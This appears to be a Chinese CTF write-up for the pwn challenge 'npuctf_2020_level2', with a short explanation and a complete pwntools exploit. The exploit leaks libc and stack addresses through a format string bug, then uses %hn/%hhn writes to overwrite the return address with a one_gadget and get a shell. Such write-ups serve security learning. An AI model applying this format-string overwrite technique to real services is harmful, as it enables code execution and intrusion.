思路
很经典的非栈上格式化字符串,最近做了好几道字符串的题,深入学习了一下,算是搞懂了
就这道题而言,先用hn输入ret地址,后续就只需要用hhn输入,减少了数据的输入量。还有就是recvuntil的小技巧,能接收大量数据。
EXP
from pwn import *
p = process("./npuctf_2020_level2")
#p = remote('node4.buuoj.cn',26382)
# context.log_level = 'debug'
elf = ELF("./npuctf_2020_level2")
libc = ELF('./libc-2.27.so')
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
def dbg():
gdb.attach(p)
#libc leak
p.sendline('%7$p')
p.recvuntil('0x')
libc_start_main = int(p.recvuntil('\n',drop = True),16) - 0xF1
lg('libc_start_main',libc_start_main)
libc_base = libc_start_main - libc.sym['__libc_start_main']
gadgets = [0x4f2c5,0x4f322,0x10a38c]
onegadget = libc_base + gadgets[1]
lg('onegadget',onegadget)
p.sendline('%15$p')
p.recvuntil('0x')
ret_addr = int(p.recvuntil('\n',drop = True),16) - 0xD8
# low
pl = '%{}c%{}$hnxxx\x00'.format((ret_addr)&0XFFFF,9)
p.sendline(pl)
ru('xxx')
pl = '%{}c%{}$hhnxxx\x00'.format((onegadget)&0XFF,35)
p.sendline(pl)
ru('xxx')
#mid
pl = '%{}c%{}$hhnxxx\x00'.format((ret_addr+1)&0XFF,9)
p.sendline(pl)
ru('xxx')
pl = '%{}c%{}$hhnxxx\x00'.format((onegadget>>8)&0XFF,35)
p.sendline(pl)
ru('xxx')
# high
pl = '%{}c%{}$hhnxxx\x00'.format((ret_addr+2)&0XFF,9)
p.sendline(pl)
ru('xxx')
pl = '%{}c%{}$hhnxxx\x00'.format((onegadget>>16)&0XFF,35)
p.sendline(pl)
ru('xxx')
p.sendline('66666666\x00')
p.interactive()